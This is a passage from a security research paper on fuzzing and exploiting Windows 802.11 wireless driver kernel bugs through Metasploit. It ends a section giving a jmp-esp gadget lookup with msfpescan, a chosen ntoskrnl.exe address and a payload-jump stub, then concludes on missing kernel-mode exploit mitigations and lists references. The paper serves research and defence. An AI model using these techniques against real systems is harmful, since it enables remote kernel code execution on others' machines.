the driver's sanity checks and allows for clean exploitation.
For this bug, the esp register was the only one pointing into controlled data.
This introduced another problem -- before the vulnerable function returned, it
modified stack variables and left parts of the frame corrupted. Although the
area pointed to by esp was stable, a corrupted block exists just beyond it. To
solve this, a tiny block of assembly code was added to the exploit that, when
executed, would jump to the real payload by calculating an offset from the eax
register. Finding a jmp esp instruction was as simple as running msfpescan on
ntoskrnl.exe and adjusting it for the kernel base address. The address that
was chosen for this version of ntoskrnl.exe was 0x804ed5cb (0x800d7000 +
0x004165cb).
$ msfpescan ntoskrnl.exe -j esp
[ntoskrnl.exe]
0x004165cb jmp esp
6) Conclusion
Technology that can be used to help prevent the exploitation of user-mode
vulnerabilities is now becoming common place on modern desktop platforms.
This represents a marked improvement that should, in the long run, make the
exploitation of many user-mode vulnerabilities much more difficult or even
impossible. That being said, there is an apparent lack of equivalent
technology that can help to prevent the exploitation of kernel-mode
vulnerabilities. The public justification for the lack of equivalent
technology typically centers around the argument that kernel-mode
vulnerabilities are difficult to exploit and are too few in number to actually
warrant the integration of exploit prevention features. In actuality, sad
though it may seem, the justification really boils down to a business cost
issue. At present, kernel-mode vulnerabilities don't account for enough money
in lost revenue to support the time investment needed to implement and test
kernel-mode exploit prevention features.
In the interest of helping to balance the business cost equation, the authors
have described a process that can be used to identify and exploit 802.11
wireless device driver vulnerabilities on Windows. This process includes
steps that can be taken to fuzz the different ways in which 802.11 device
drivers process 802.11 packets. In certain cases, flaws may be detected in a
particular device driver's processing of certain packets, such as Beacon
requests and Probe responses. When these flaws are detected, exploits can be
developed using the features that have been integrated into the 3.0 version of
the Metasploit Framework that help to streamline the process of transmitting
crafted 802.11 packets in an effort to gain code execution.
Through the description of this process, it is hoped that the reader will see
that kernel-mode vulnerabilities can be just as easy to identify and exploit
as user-mode. Furthermore, it is hoped that this description will help to
eliminate the false impression that all kernel-mode vulnerabilities are much
more difficult to exploit (keeping in mind, of course, that there are indeed
kernel-mode vulnerabilities that are difficult to exploit in just the same way
that there are indeed user-mode vulnerabilities that are difficult to
exploit). While an emphasis has been put upon 802.11 wireless device drivers,
many different device drivers have the potential for exposing vulnerabilities.
Looking toward the future, there are many different opportunities for
research, both from an attack and defense point of view.
From an attack point of view, there's no shortage of interesting research
topics. As it relates to 802.11 wireless device driver vulnerabilities, much
more advanced 802.11 protocol fuzzers can be developed that are capable of
reaching features exposed by all of the protocol client states rather than
focusing on the unauthenticated and unassociated state. For device drivers in
general, the development of fuzzers that attack the IOCTL interface exposed by
device objects would provide good insight into a wide range of locally exposed
vulnerabilities. Aside from techniques used to identify vulnerabilities, it's
expected that researching of techniques used to actually take advantage of
different types of kernel-mode vulnerabilities will continue to evolve and
become more reliable. From a defense point of view, there is a definite need
for research that is focused on making the exploitation of kernel-mode
vulnerabilities either impossible or less reliable. It will be interesting to
see what the future holds for kernel-mode vulnerabilities.
Bibliography
[1] bugcheck and skape. Windows Kernel-mode Payload Fundamentals.
http://www.uninformed.org/?v=3&a=4&t=sumry;
accessed Dec 2, 2006.
[2] eEye. Remote Windows Kernel Exploitation - Step Into the Ring 0.
http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf;
accessed Dec 2, 2006.
[3] Gast, Matthew S. 802.11 Wireless Networks - The Definitive Guide.
http://www.oreilly.com/catalog/802dot11/;
accessed Dec 2, 2006.
[4] Lemos, Robert. Device drivers filled with flaws, threaten security.
http://www.securityfocus.com/news/11189;
accessed Dec 2, 2006.
[5] SoBeIt. Windows Kernel Pool Overflow Exploitation.
http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_SoBeIt.pdf;
accessed Dec 2, 2006.